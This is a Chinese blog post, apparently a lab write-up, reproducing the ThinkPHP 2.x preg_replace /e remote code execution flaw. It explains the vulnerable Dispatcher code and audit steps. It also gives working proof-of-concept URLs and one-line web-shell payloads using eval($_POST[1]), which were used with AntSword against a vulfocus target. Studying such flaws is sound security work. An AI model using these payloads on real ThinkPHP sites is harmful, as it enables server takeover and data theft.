前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Github-ThinkPHP 2.X 任意代码执行

Github-ThinkPHP 2.X 任意代码执行

作者头像
Baige
发布2022-03-22 15:30:41
8640
发布2022-03-22 15:30:41
举报
文章被收录于专栏:世荣的博客世荣的博客

1.漏洞描述:

版本: ThinkPHP ThinkPHP 2.x

使用 preg_replace 的 /e 模式匹配路由:

代码语言:javascript
复制
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";',
implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0 版本因为 Lite 模式下没有修复该漏洞,也存在这个漏洞。所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:

代码语言:javascript
复制
preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。下面是搜索到的关于/e的解释:

代码语言:javascript
复制
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

PHP在线沙箱 测试一下这个preg_replace()函数,代码如下: <?php @preg_replace('/test/e','print_r("测试成功");','test');

测试发现从php4.4.9-php5.6.29都是可以执行的,但到了php7.0.1以上则不行了

2.漏洞复现

(1)打开靶场

(2)利用 POC 来验证, phpinfo() 成功执行。

代码语言:javascript
复制
/index.php?s=/index/index/xxx/${@phpinfo()}

(3)写下一句话:

代码语言:javascript
复制
/index.php?s=/index/index/xxx/${${@eval($_POST[1])}}
拼接URL:
vulfocus.fofa.so:11703/index.php?s=/index/index/xxx/${${@eval($_POST[1])}}

环境又没了,重启了一下。 (4)用蚁剑连接:

(5)连接完成后去 tmp 临时文件下去查看 Flag

找到flag

3.思路整理

从漏洞挖掘的角度,如果采用的是关键函数查找的方式,应该是先搜索preg_replace这个函数,发现使用了这个函数之后,在查看是否使用/e修饰符,然后查看是否存在可控参数,如果存在,在分析是否可以传参利用。

如果以挖漏洞的思路来看的话,应当整理思路如下:

代码语言:javascript
复制
1.确定php版本,如果版本在php4.4.9-php5.6.29之中
2.查找关键函数是否调用哪了preg_replace()函数
3.查看该函数所在的地方是否存在/e修饰符
4.查看是否存在可控参数,并分析是否可以传参利用

<1>存在preg_replace函数的脚本:

代码语言:javascript
复制
./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
./ThinkPHP/Mode/Lite/Dispatcher.class.php
./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
./ThinkPHP/Lib/Think/Template/TagLib.class.php
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
./ThinkPHP/Common/extend.php
./ThinkPHP/Common/functions.php

<2>存在/e修饰符的脚本:(这里只贴出来两个例子)

代码语言:javascript
复制
 ./ThinkPHP/Mode/Lite/Dispatcher.class.php:115:            
 $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', 
 '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);

 ./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57:                
  $rule  = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);

<3>根据漏洞描述,有漏洞的代码位置在:

代码语言:javascript
复制
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 
implode($depr,$paths));

根据代码注释,了解到这个是 thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。

thinkphp也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。

代码语言:javascript
复制
类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch()        URL映射到控制器
public static function getPathInfo()     获得服务器的PATH_INFO信息
static public function routerCheck()     路由检测
static private function parseUrl($route)
static private function getModule($var)  获得实际的模块名称
static private function getGroup($var)   获得实际的分组名称

有漏洞的代码位置在static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。

代码语言:javascript
复制
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
    $var[C('VAR_MODULE')]  =   array_shift($paths);
}
$var[C('VAR_ACTION')]  =  array_shift($paths);
// 解析剩余的URL参数

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 
implode($depr,$paths));
$_GET   =  array_merge($var,$_GET);

数组var在路径存在模块和动作时,会去除掉前2个值。而数组var来自于explode(depr,trim(_SERVER['PATH_INFO'],'/'));也就是路径。

构造poc如下:

代码语言:javascript
复制
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}

一句话payload:

代码语言:javascript
复制
/index.php?s=a/b/c/${@print(eval($_POST[1]))}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021 年 12 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.漏洞描述:
  • 2.漏洞复现
  • 3.思路整理
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档